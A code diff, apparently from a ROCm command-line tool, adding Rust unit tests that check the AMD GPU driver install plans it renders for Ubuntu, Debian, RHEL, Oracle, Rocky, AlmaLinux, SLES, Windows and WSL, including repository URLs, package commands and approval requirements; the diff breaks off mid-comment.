+ + assert!(plan.supported); + assert!(plan.mutating); + assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); + assert!(rendered.contains("`dnf` package manager is available")); + assert!(rendered.contains("kernel-headers-$(uname -r)")); + assert!(rendered.contains("kernel-devel-$(uname -r)")); + assert!(rendered.contains("kernel-devel-matched-$(uname -r)")); + assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); + assert!( + rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/rhel/9.7/main/x86_64") + ); + assert!(rendered.contains("gpgcheck=1")); + assert!(rendered.contains("/etc/yum.repos.d/amdgpu.repo")); + assert!(rendered.contains("Execute: sudo dnf install -y amdgpu-dkms")); + assert!(rendered.contains("approval: required")); + } + + #[test] + fn driver_plan_oracle_linux_101_uses_el_10_uek_flow() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=ol +VERSION_ID="10.1" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, true); + + assert!(plan.supported); + assert!(rendered.contains("approval: not required")); + assert!(rendered.contains("kernel-uek-devel-$(uname -r)")); + // `rpm --import` is pushed once after the distro-specific match, not + // inside the RHEL/Generic arm -- Oracle's flow must get it too. + assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); + assert!( + rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/el/10/main/x86_64") + ); + assert!(rendered.contains("dry run only")); + } + + #[test] + fn driver_plan_rocky_97_uses_el_dnf_flow() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=rocky +VERSION_ID="9.7" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!( + rendered + .contains("sudo dnf install -y kernel-headers kernel-devel kernel-devel-matched") + ); + // Rocky is `Generic`, not `Rhel`, in `DnfDriverDistro` -- confirms the + // `rpm --import` push is unconditional across the dnf match arms, not + // only wired for the `Rhel`/`Oracle` arms the other two tests cover. + assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); + assert!( + rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/el/9.7/main/x86_64") + ); + assert!(rendered.contains("Execute: sudo dnf install -y amdgpu-dkms")); + } + + #[test] + fn driver_plan_rocky_94_uses_el_dnf_flow() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // Rocky 9.x point releases must resolve like RHEL 9.x, not just 9.7. + let os_release = r#" +ID=rocky +VERSION_ID="9.4" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!(plan.mutating); + assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); + assert!( + rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/el/9.4/main/x86_64") + ); + assert!(rendered.contains("Execute: sudo dnf install -y amdgpu-dkms")); + } + + #[test] + fn driver_plan_rocky_8_and_10_remain_unsupported() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // AMD documents Rocky Linux 9 only; keep the driver matrix scoped to 9.x. + for version in ["8.10", "10.0"] { + let os_release = format!("\nID=rocky\nVERSION_ID=\"{version}\"\n"); + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(&os_release), + true, + PrivilegeEscalation::Sudo, + ); + assert!(!plan.supported, "rocky {version} should be unsupported"); + assert!(!plan.mutating, "rocky {version} must not mutate"); + assert!( + plan.commands.is_empty(), + "rocky {version} must emit no commands" + ); + } + } + + #[test] + fn driver_plan_debian_uses_intended_ubuntu_suite() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // AMD's documented Debian install deliberately serves Debian from the + // Ubuntu-suite amdgpu tree (Debian 12 -> jammy). Lock that in and + // ensure the plan explains the mapping is intentional. + let os_release = r#" +ID=debian +VERSION_ID="12" +VERSION_CODENAME=bookworm +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, true); + + assert!(plan.supported); + assert_eq!(plan.codename, "jammy"); + assert!(rendered.contains("https://repo.radeon.com/amdgpu/latest/ubuntu jammy main")); + assert!( + plan.reason + .contains("intentionally uses AMD's Ubuntu-suite repository") + ); + } + + #[test] + fn driver_plan_sles_157_uses_documented_zypper_commands() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=sles +VERSION_ID="15.7" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!(rendered.contains("`zypper` package manager is available")); + assert!(rendered.contains("SUSEConnect")); + assert!(rendered.contains("sle-module-desktop-applications/15.7/x86_64")); + assert!(rendered.contains("sudo zypper --non-interactive install -y kernel-default-devel")); + assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); + assert!( + rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/sle/15.7/main/x86_64") + ); + assert!(rendered.contains("gpgcheck=1")); + assert!(rendered.contains("/etc/zypp/repos.d/amdgpu.repo")); + assert!( + rendered.contains("sudo zypper --non-interactive --gpg-auto-import-keys refresh"), + "the post-repo-add refresh must auto-trust the new repo's signing key, \ + or zypper would prompt (and hang this unattended flow): {rendered}" + ); + assert!(rendered.contains("Execute: sudo zypper --non-interactive install -y amdgpu-dkms")); + assert!(rendered.contains("approval: required")); + } + + #[test] + fn sles_repo_baseurl_uses_the_given_repo_version_expr_not_a_hardcoded_latest() { + // Mutation-proofs the parameter wiring itself: a mutation that + // hardcoded `latest` into this function's body left every existing + // SLES test green because their default env override also resolves + // to `latest`, so none of them could tell "wired correctly" apart + // from "hardcoded to the same value the default happens to be". + assert_eq!( + sles_repo_baseurl("6.2.1", "15.7"), + "https://repo.radeon.com/amdgpu/6.2.1/sle/15.7/main/x86_64" + ); + assert_eq!( + sles_repo_baseurl("latest", "15.7"), + "https://repo.radeon.com/amdgpu/latest/sle/15.7/main/x86_64" + ); + } + + #[test] + fn driver_plan_dnf_overrides_the_repo_version_via_the_driver_version_env() { + let mut env = ScopedTestEnv::with_amd_overrides_cleared(); + env.set("ROCM_CLI_AMDGPU_DRIVER_VERSION", "30.10"); + let os_release = "ID=rhel\nVERSION_ID=\"9.7\"\n"; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!( + rendered.contains("amdgpu/30.10/rhel/9.7/"), + "an overridden ROCM_CLI_AMDGPU_DRIVER_VERSION must reach the dnf repo baseurl, \ + not a hardcoded `latest`: {rendered}" + ); + } + + #[test] + fn driver_plan_id_like_derivatives_honour_the_driver_version_env() { + // (os-release, expected repo path). Each derivative arm of + // `driver_plan_via_id_like` must thread the override, not `latest`. + let cases = [ + ( + "ID=almalinux\nID_LIKE=\"rhel centos fedora\"\nVERSION_ID=\"9.6\"\n", + "amdgpu/30.10/el/9.6", + ), + ( + "ID=pop\nID_LIKE=\"ubuntu debian\"\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n", + "amdgpu/30.10/ubuntu", + ), + ( + "ID=devuan\nID_LIKE=debian\nVERSION_ID=\"12\"\n", + "amdgpu/30.10/ubuntu", + ), + ]; + for (os_release, want) in cases { + let mut env = ScopedTestEnv::with_amd_overrides_cleared(); + env.set("ROCM_CLI_AMDGPU_DRIVER_VERSION", "30.10"); + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + assert!(plan.supported, "{os_release}"); + assert!(rendered.contains(want), "{os_release}: {rendered}"); + assert!( + !rendered.contains("amdgpu/latest"), + "{os_release}: {rendered}" + ); + } + } + + #[test] + fn driver_plan_refuses_a_retired_version_pin_variable() { + for retired in RETIRED_DRIVER_VERSION_VARS { + let mut env = ScopedTestEnv::with_amd_overrides_cleared(); + env.set(retired, "7.2.4"); + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found("ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"), + true, + PrivilegeEscalation::Sudo, + ); + + assert!(!plan.supported && !plan.mutating, "{retired}"); + assert_eq!(plan.policy, "retired_driver_version_override"); + assert!(plan.reason.contains("ROCM_CLI_AMDGPU_DRIVER_VERSION")); + } + } + + #[test] + fn driver_plan_support_matches_rocm_core_diagnose() { + // `rocm-core` cannot call the plan builder, so diagnose keeps its own + // copy of the support matrix (`dkms_driver_plan_is_supported`); this + // fails if the two disagree on any host. + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let hosts = [ + ("ubuntu", "22.04", "debian"), + ("ubuntu", "24.04", "debian"), + ("Ubuntu", "24.04", "debian"), + ("ubuntu", "26.04", "debian"), + ("debian", "12", ""), + ("debian", "13", ""), + ("rhel", "9.7", "fedora"), + ("rhel", "10.0", "fedora"), + ("ol", "9.7", "fedora"), + ("ol", "9.7", "rhel fedora"), + ("ol", "9.5", "rhel fedora"), + ("rocky", "9.6", "rhel centos fedora"), + ("almalinux", "9.6", "rhel centos fedora"), + ("sles", "15.7", "suse"), + ("sle", "15.7", "suse"), + ("pop", "24.04", "ubuntu debian"), + ("linuxmint", "22", "ubuntu debian"), + ("fedora", "41", ""), + ("opensuse-leap", "15.7", "suse opensuse"), + ]; + for (id, version, like) in hosts { + let os_release = format!( + "ID={id}\nVERSION_ID=\"{version}\"\nID_LIKE=\"{like}\"\nVERSION_CODENAME=noble\n" + ); + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(&os_release), + true, + PrivilegeEscalation::Sudo, + ); + let host = rocm_core::examine::Examination { + distro_id: id.to_owned(), + distro_version: version.to_owned(), + distro_id_like: like.to_owned(), + ..rocm_core::examine::Examination::default() + }; + assert_eq!( + plan.supported, + rocm_core::diagnose::dkms_driver_plan_is_supported(&host), + "{id} {version} (ID_LIKE={like}): plan policy {}", + plan.policy + ); + } + } + + #[test] + fn driver_plan_sles_overrides_the_repo_version_via_the_driver_version_env() { + let mut env = ScopedTestEnv::with_amd_overrides_cleared(); + env.set("ROCM_CLI_AMDGPU_DRIVER_VERSION", "6.2.1"); + let os_release = r#" +ID=sles +VERSION_ID="15.7" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!( + rendered.contains("baseurl=https://repo.radeon.com/amdgpu/6.2.1/sle/15.7/main/x86_64"), + "an overridden ROCM_CLI_AMDGPU_DRIVER_VERSION must reach the SLES repo baseurl, \ + not a hardcoded `latest`: {rendered}" + ); + } + + #[test] + fn driver_plan_unsupported_linux_is_non_mutating() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=fedora +VERSION_ID="41" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(!plan.supported); + assert!(!plan.mutating); + assert!(rendered.contains("unsupported_linux_dkms_plan")); + assert!(rendered.contains("approval: not required")); + assert!(rendered.contains("no driver commands will be executed")); + assert!(!rendered.contains("sudo dnf install -y amdgpu-dkms")); + } + + /// AGENTS.md section 3: the planners' wording is asserted together with what + /// the command does on that platform. On Windows the command is + /// `windows_validate_only` (no execution), so the plan must be read-only, + /// carry no `--yes` and not call itself disruptive; elsewhere the command + /// mutates, so the plan keeps approval, `--yes` and the warning. + #[test] + fn planners_describe_install_driver_as_the_command_behaves_on_each_platform() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + for os in ["windows", "linux"] { + let only_reports = install_driver_only_reports_on(os); + let plan = build_driver_install_plan_at( + &test_examine(os, false), + "/etc/os-release", + "", + true, + PrivilegeEscalation::Sudo, + ); + // The planners and the command agree on the platform decision. + assert_eq!(only_reports, plan.policy == "windows_validate_only", "{os}"); + if only_reports { + assert!(!plan.mutating, "{os}"); + } + + let freeform = crate::freeform_planner::plan_driver_request( + "install the driver", + "install the driver", + only_reports, + ); + let action = freeform.actions.last().expect("a driver action"); + let chat = crate::chat::chat_install_driver_action( + vec!["install".to_owned(), "driver".to_owned()], + only_reports, + ); + if only_reports { + assert!(!action.args.iter().any(|a| a == "--yes"), "{action:?}"); + assert!(!action.reason.contains("disruptive"), "{action:?}"); + assert!(!freeform.approval.starts_with("required")); + match chat { + crate::chat::ChatRocmCommandAction::ReadOnly(args) => { + assert!(!args.iter().any(|a| a == "--yes")); + } + crate::chat::ChatRocmCommandAction::Approval { .. } => { + panic!("chat must not ask approval for a report-only command") + } + } + } else { + assert!(action.args.iter().any(|a| a == "--yes")); + assert!(action.reason.contains("disruptive")); + assert_eq!(freeform.approval, "required before driver changes"); + match chat { + crate::chat::ChatRocmCommandAction::Approval { args, .. } => { + assert!(args.iter().any(|a| a == "--yes")); + } + crate::chat::ChatRocmCommandAction::ReadOnly(_) => { + panic!("chat must ask approval on a mutating platform") + } + } + } + } + } + + /// The chat entry point passes this host's decision to the helper, so a + /// hard-coded value fails on one of the two platforms the suite runs on. + #[test] + fn the_chat_entry_point_follows_the_hosts_install_driver_decision() { + let action = crate::chat::chat_rocm_command_action_from_args(vec![ + "install".to_owned(), + "driver".to_owned(), + ]) + .expect("chat action"); + let reports = std::env::consts::OS == "windows"; + assert_eq!(host_install_driver_only_reports(), reports); + match action { + crate::chat::ChatRocmCommandAction::ReadOnly(args) => { + assert!(reports, "read-only only where the command only reports"); + assert!(!args.iter().any(|a| a == "--yes")); + } + crate::chat::ChatRocmCommandAction::Approval { args, .. } => { + assert!(!reports, "approval only where the command installs"); + assert!(args.iter().any(|a| a == "--yes")); + } + } + } + + #[test] + fn windows_install_driver_is_validate_only() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let plan = build_driver_install_plan_read( + &test_examine("windows", false), + &os_release_found(""), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, true); + + assert!(!plan.supported); + assert!(!plan.mutating); + assert_eq!(plan.policy, "windows_validate_only"); + assert!(rendered.contains("approval: not required")); + assert!(rendered.contains("execution_commands: ")); + // The plan installs nothing, so it asks for no reboot and labels its + // checks accordingly. + assert!(!plan.reboot_required); + assert!(rendered.contains("post_install_checks:")); + assert!(!rendered.contains("post_reboot")); + // No driver facts in this fixture: the text says so and points at the + // commands that exist. Both commands take no flags. + assert!(rendered.contains("could not be read; run `rocm examine`")); + assert!(rendered.contains("rocm diagnose")); + assert!(plan.commands.is_empty()); + } + + fn windows_examine_with_driver(version: &str, date: &str) -> ExamineSummary { + let mut examine = test_examine("windows", false); + examine.driver = rocm_core::DriverSummary { + policy: "windows_validate_only".to_owned(), + status: "amd_display_driver_detected".to_owned(), + detail: Some(format!("AMD Radeon(TM) Graphics driver {version}")), + windows: rocm_core::windows_driver::WindowsDriverInfo::from_probe(version, date), + }; + examine + } + + /// The text and the behaviour, asserted together: the plan reports the + /// driver version, date, verdict and fix id, and the same plan runs + /// nothing, even when approval is given. + #[test] + fn windows_install_driver_reports_an_old_driver_and_installs_nothing() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let examine = windows_examine_with_driver("30.0.13014.8", "2021-08-04"); + let plan = build_driver_install_plan_at( + &examine, + "/etc/os-release", + "", + true, + PrivilegeEscalation::Sudo, + ); + + // Behaviour: nothing to execute, however the command is invoked. + assert!(!plan.supported); + assert!(!plan.mutating); + assert!(plan.commands.is_empty()); + assert!(plan.execution_commands().is_empty()); + for (yes, dry_run) in [(false, false), (true, false), (true, true)] { + let rendered = render_driver_install_plan(&plan, yes, dry_run); + assert!( + rendered.contains("execution_commands: "), + "{rendered}" + ); + assert!( + rendered.contains("action: no driver commands will be executed"), + "{rendered}" + ); + assert!(!rendered.contains("rerun with --yes"), "{rendered}"); + + // Text: what it reports. + assert!(rendered.contains("version 30.0.13014.8"), "{rendered}"); + assert!(rendered.contains("dated 2021-08-04"), "{rendered}"); + assert!(rendered.contains("outdated: yes"), "{rendered}"); + assert!( + rendered.contains(rocm_core::windows_driver::DISPLAY_DRIVER_OLD_FIX_ID), + "{rendered}" + ); + // The promise that nothing is installed. + assert!( + rendered.contains("no driver is installed or changed"), + "{rendered}" + ); + } + } + + #[test] + fn windows_install_driver_does_not_call_a_current_driver_outdated() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let examine = windows_examine_with_driver("32.0.23033.1002", "2026-05-02"); + let plan = build_driver_install_plan_at( + &examine, + "/etc/os-release", + "", + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, true, false); + assert!(rendered.contains("version 32.0.23033.1002"), "{rendered}"); + assert!(rendered.contains("outdated: no"), "{rendered}"); + // The `no` is only about the date, so the plan says what the date + // cannot judge; the state behind it is a report-only plan. + assert!( + rendered.contains(rocm_core::windows_driver::FLOOR_NOTE), + "{rendered}" + ); + assert!( + !rendered.contains(rocm_core::windows_driver::DISPLAY_DRIVER_OLD_FIX_ID), + "{rendered}" + ); + assert!(plan.commands.is_empty() && !plan.mutating); + } + + #[test] + fn windows_install_driver_says_unknown_when_the_date_is_unreadable() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let examine = windows_examine_with_driver("30.0.13014.8", ""); + let plan = build_driver_install_plan_at( + &examine, + "/etc/os-release", + "", + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + assert!(rendered.contains("outdated: unknown"), "{rendered}"); + assert!( + !rendered.contains(rocm_core::windows_driver::DISPLAY_DRIVER_OLD_FIX_ID), + "{rendered}" + ); + } + + /// One probe result, read by both commands. The install text and the + /// diagnose result are built from the same `WindowsDriverInfo`, the value + /// `rocm examine` reads from the inventory, so a text that names the fix id + /// is checked against the command it names. Reverting the `reason` wiring in + /// `build_driver_install_plan` makes the install half fail. + fn install_text_and_diagnose_ids( + info: Option<&rocm_core::windows_driver::WindowsDriverInfo>, + ) -> (String, Vec) { + let mut examine = test_examine("windows", false); + examine.driver.windows = info.cloned(); + let plan = build_driver_install_plan_at( + &examine, + "/etc/os-release", + "", + true, + PrivilegeEscalation::Sudo, + ); + let text = render_driver_install_plan(&plan, false, false); + + let mut exam = rocm_core::Examination { + os_family: "windows".to_owned(), + ..rocm_core::Examination::default() + }; + exam.set_windows_driver(info); + let ids = rocm_core::run_diagnose(&exam, "") + .matched + .into_iter() + .map(|d| d.id) + .collect(); + (text, ids) + } + + #[test] + fn the_fix_id_the_install_text_names_is_the_one_diagnose_raises() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let id = rocm_core::windows_driver::DISPLAY_DRIVER_OLD_FIX_ID; + let probe = + |version, date| rocm_core::windows_driver::WindowsDriverInfo::from_probe(version, date); + + // Old driver: the text names the id, and the command it names raises it. + let (text, ids) = + install_text_and_diagnose_ids(probe("30.0.13014.8", "2021-08-04").as_ref()); + assert!(text.contains(id), "{text}"); + assert!(ids.iter().any(|raised| raised == id), "{ids:?}"); + + // Current driver and unreadable date: the text does not name it, and + // diagnose does not raise it. + for info in [ + probe("32.0.23033.1002", "2026-05-02"), + probe("30.0.13014.8", ""), + None, + ] { + let (text, ids) = install_text_and_diagnose_ids(info.as_ref()); + assert!(!text.contains(id), "{text}"); + assert!(ids.iter().all(|raised| raised != id), "{ids:?}"); + } + } + + #[test] + fn wsl_install_driver_installs_rocdxg_without_dkms() { + // `dkms: true` is passed deliberately: WSL2 has no kernel module to + // build, so the flag must not pull in the bare-metal path. + // + // The WSL branch reads the three ROCDXG vars — an exported + // `ROCM_CLI_ROCDXG_VERSION` would steer this plan into a refusal and + // fail the `plan.supported` assertion below. `ROCM_CLI_AMDGPU_DRIVER_VERSION` + // is never consulted on this path (the WSL dispatch happens before that + // var is read), but this reader still takes the combined guard so it + // isn't the one test that has to remember which half it needs. + let _env = scoped_rocdxg_env(); + let plan = build_driver_install_plan_read( + &test_examine("linux", true), + &os_release_found(""), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!(plan.mutating); + assert_eq!(plan.policy, "wsl_rocdxg"); + assert!(!rendered.contains("amdgpu-dkms")); + // The whole point of the bug: the plan must be runnable, and must not + // send the user to a file that only exists in a git checkout. + assert!(!rendered.contains("execution_commands: ")); + assert!(!rendered.contains("scripts/")); + assert!(rendered.contains("approval: required")); + } + + #[test] + fn wsl_rocdxg_install_does_not_ask_for_a_reboot() { + // ROCDXG is userspace: `ldconfig` publishes it in this boot. The + // bare-metal DKMS path is the one that needs a reboot. + let _env = scoped_rocdxg_env(); + let wsl = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert!(!wsl.reboot_required); + let rendered = render_driver_install_plan(&wsl, false, false); + // Anchor on the install step first: a refusal plan also reports + // `reboot_required: false`, renders `post_install_checks:` from its + // non-empty `checks`, and contains no `post_reboot` — so the three + // assertions below hold against a plan that installs nothing at all. + // Only a real install plan carries this command. + assert!( + rendered.contains("apt-get install -y '/tmp/"), + "expected a real install plan, got:\n{rendered}" + ); + assert!(rendered.contains("post_install_checks:")); + assert!(!rendered.contains("post_reboot")); + + let bare_metal = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found("ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"), + true, + PrivilegeEscalation::Sudo, + ); + assert!(bare_metal.reboot_required); + assert!(render_driver_install_plan(&bare_metal, false, false).contains("post_reboot")); + } + + #[test] + fn driver_plan_ubuntu_derivative_via_id_like_matches_ubuntu_plan() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // Pop!_OS reports its own ID but reuses Ubuntu's version + repositories. + let os_release = r#" +ID=pop +VERSION_ID="22.04" +VERSION_CODENAME=jammy +ID_LIKE="ubuntu debian" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!(plan.mutating); + assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); + // Ubuntu-family derivatives ship the Ubuntu kernel, so linux-modules-extra applies. + assert!(rendered.contains("linux-modules-extra-$(uname -r)")); + assert!(rendered.contains("https://repo.radeon.com/amdgpu/latest/ubuntu jammy main")); + assert!(rendered.contains("Execute: sudo apt-get install -y amdgpu-dkms")); + } + + #[test] + fn driver_plan_debian_derivative_via_id_like_matches_debian_plan() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // A Debian derivative (e.g. LMDE) that shares Debian's version scheme. + let os_release = r#" +ID=lmde +VERSION_ID="12" +ID_LIKE=debian +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + // Debian-family maps to the Ubuntu jammy repo and omits linux-modules-extra. + assert!(rendered.contains("https://repo.radeon.com/amdgpu/latest/ubuntu jammy main")); + assert!(!rendered.contains("linux-modules-extra-$(uname -r)")); + assert!(rendered.contains("amdgpu-dkms")); + } + + #[test] + fn driver_plan_almalinux_via_id_like_uses_el_9_flow() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // AlmaLinux is a RHEL rebuild: standard kernel, served from the el/ path. + let os_release = r#" +ID=almalinux +VERSION_ID="9.6" +ID_LIKE="rhel centos fedora" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!(plan.mutating); + assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); + // EL rebuilds use the vendor-neutral el/ repo path, not rhel/. + assert!( + rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/el/9.6/main/x86_64") + ); + assert!(!rendered.contains("/rhel/9.6/")); + // el9 uses the version-aware standard-kernel prepare commands. + assert!(rendered.contains("kernel-devel-matched-$(uname -r)")); + assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); + assert!(rendered.contains("Execute: sudo dnf install -y amdgpu-dkms")); + } + + #[test] + fn driver_plan_almalinux_8_via_id_like_uses_el_major_path() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=almalinux +VERSION_ID="8.10" +ID_LIKE="rhel centos fedora" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + // EL 8 is served from the major-version path (el/8), matching AMD docs. + assert!( + rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/el/8/main/x86_64") + ); + // el8 has no kernel-devel-matched package. + assert!(!rendered.contains("kernel-devel-matched")); + assert!(rendered.contains("kernel-devel-$(uname -r)")); + assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); + } + + #[test] + fn driver_plan_id_like_with_unsupported_version_stays_unsupported() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // A Debian-family derivative whose VERSION_ID does not align with any + // AMD-documented Debian version must not fabricate a plan. + let os_release = r#" +ID=lmde +VERSION_ID="6" +ID_LIKE=debian +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(!plan.supported); + assert!(!plan.mutating); + assert!(rendered.contains("unsupported_linux_dkms_plan")); + assert!(!rendered.contains("amdgpu-dkms")); + } + + #[test] + fn driver_plan_exact_id_takes_precedence_over_id_like() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // An exact RHEL match must keep the rhel/ path even though ID_LIKE=fedora. + let os_release = r#" +ID=rhel +VERSION_ID="9.7" +ID_LIKE=fedora +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!( + rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/rhel/9.7/main/x86_64") + ); + assert!(!rendered.contains("/el/9.7/")); + } + + #[test] + fn driver_plan_oracle_linux_off_arm_version_stays_unsupported() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // Oracle Linux reports `ID_LIKE=fedora` (not rhel) and boots UEK. An OL + // version outside the exact `ol` arm must NOT be captured by the EL + // fallback, which would emit non-UEK kernel commands that cannot install. + let os_release = r#" +ID=ol +VERSION_ID="9.6" +ID_LIKE=fedora +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(!plan.supported); + assert!(!plan.mutating); + assert!(rendered.contains("unsupported_linux_dkms_plan")); + assert!(!rendered.contains("kernel-devel-matched")); + assert!(!rendered.contains("amdgpu-dkms")); + } + + #[test] + fn driver_plan_opensuse_leap_stays_unsupported() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // openSUSE Leap shares SLES's version scheme but has no SUSEConnect/SCC + // entitlement, so it must not be matched to the SLES plan. + let os_release = r#" +ID=opensuse-leap +VERSION_ID="15.7" +ID_LIKE="suse opensuse" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(!plan.supported); + assert!(!plan.mutating); + assert!(rendered.contains("unsupported_linux_dkms_plan")); + assert!(!rendered.contains("SUSEConnect")); + assert!(!rendered.contains("amdgpu-dkms")); + } } diff --git a/apps/rocm/src/driver_plan/rocdxg.rs b/apps/rocm/src/driver_plan/rocdxg.rs index c1c62d9bc6..26c828b994 100644 --- a/apps/rocm/src/driver_plan/rocdxg.rs +++ b/apps/rocm/src/driver_plan/rocdxg.rs @@ -370,7 +370,7 @@ use crate::tests::ScopedTestEnv; /// through the same `build_driver_install_plan_at` call doesn't need a /// second guard: one helper covers both input sets regardless of which /// branch actually reads them. -pub(crate) fn scoped_rocdxg_env() -> ScopedTestEnv { +pub(super) fn scoped_rocdxg_env() -> ScopedTestEnv { let mut env = ScopedTestEnv::with_amd_overrides_cleared(); env.clear("ROCM_CLI_ROCDXG_VERSION"); env.clear(ROCDXG_SHA256_ENV); diff --git a/apps/rocm/src/freeform_planner.rs b/apps/rocm/src/freeform_planner.rs index 9891d36b1e..6c344b9a83 100644 --- a/apps/rocm/src/freeform_planner.rs +++ b/apps/rocm/src/freeform_planner.rs @@ -252,7 +252,7 @@ pub(crate) fn host_default_engine(paths: Option<&AppPaths>) -> &'static str { } /// The plan for a driver request. `only_reports` is the same platform decision -/// `rocm install driver` makes (see `driver_install::install_driver_only_reports_on`): +/// `rocm install driver` makes (see 